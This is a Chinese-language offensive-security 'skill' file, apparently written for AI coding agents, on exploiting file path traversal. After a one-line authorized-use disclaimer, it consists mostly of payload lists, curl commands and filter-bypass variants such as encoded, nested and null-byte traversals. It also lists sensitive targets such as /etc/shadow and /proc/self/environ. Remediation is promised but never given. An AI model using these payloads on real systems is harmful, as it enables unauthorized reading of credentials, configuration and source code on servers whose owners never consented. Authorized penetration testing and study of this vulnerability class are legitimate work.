
关于
识别和利用文件路径遍历(目录遍历)漏洞,该漏洞允许攻击者读取服务器上的任意文件,包括敏感配置文件、凭据和源代码
name: file-path-traversal description: "识别和利用文件路径遍历(目录遍历)漏洞,该漏洞允许攻击者读取服务器上的任意文件,可能包括敏感配置文件、凭据和源代码。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:此技能仅用于授权安全评估、防御验证或受控教育环境。
文件路径遍历测试
用途
识别和利用文件路径遍历(目录遍历)漏洞,该漏洞允许攻击者读取服务器上的任意文件,可能包括敏感配置文件、凭据和源代码。当用户可控输入未经适当验证就传递给文件系统API时,就会出现此漏洞。
前提条件
所需工具
- 带开发者工具的Web浏览器
- Burp Suite 或 OWASP ZAP
- cURL 用于测试载荷
- 字典用于自动化
- ffuf 或 wfuzz 用于模糊测试
所需知识
- HTTP请求/响应结构
- Linux和Windows文件系统布局
- Web应用架构
- 文件API基础理解
输出和交付物
- 漏洞报告 - 已识别的遍历点和严重程度
- 利用证明 - 提取的文件内容
- 影响评估 - 可访问的文件和数据暴露
- 修复指南 - 安全编码建议
核心工作流程
阶段1:理解路径遍历
当应用程序使用用户输入构造文件路径时,就会发生路径遍历:
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
$template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
攻击原理:
../序列向上移动一个目录- 链接多个序列到达根目录
- 访问预期目录之外的文件
影响:
- 机密性 - 读取敏感文件
- 完整性 - 写入/修改文件(某些情况下)
- 可用性 - 删除文件(某些情况下)
- 代码执行 - 如果与文件上传或日志投毒结合
阶段2:识别遍历点
映射应用程序中潜在的文件操作:
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
常见易受攻击的功能:
- 图片加载:
/image?filename=23.jpg - 模板选择:
?template=blue.php - 文件下载:
/download?file=report.pdf - 文档查看器:
/view?doc=manual.pdf - 包含机制:
?page=about
阶段3:基本利用技术
简单路径遍历
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts
# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
绝对路径注入
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
阶段4:绕过技术
绕过被剥离的遍历序列
# When ../ is stripped once
....//....//....//etc/passwd
....\/.....\/.....\//etc/passwd
# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
绕过扩展名验证
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
# Path truncation
../../../etc/passwd...............................
# Double extension
../../../etc/passwd.jpg.php
绕过基目录验证
# When path must start with expected directory
/var/www/images/../../../etc/passwd
# Expected path followed by traversal
images/../../../etc/passwd
绕过黑名单过滤
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd
# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af
# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c
# Case variations (Windows)
....\\....\\etc\\passwd
阶段5:Linux目标文件
高价值目标文件:
# System files
/etc/passwd # User accounts
/etc/shadow # Password hashes (root only)
/etc/group # Group information
/etc/hosts # Host mappings
/etc/hostname # System hostname
/etc/issue # System banner
兼容工具
Claude CodeCursor
标签
安全
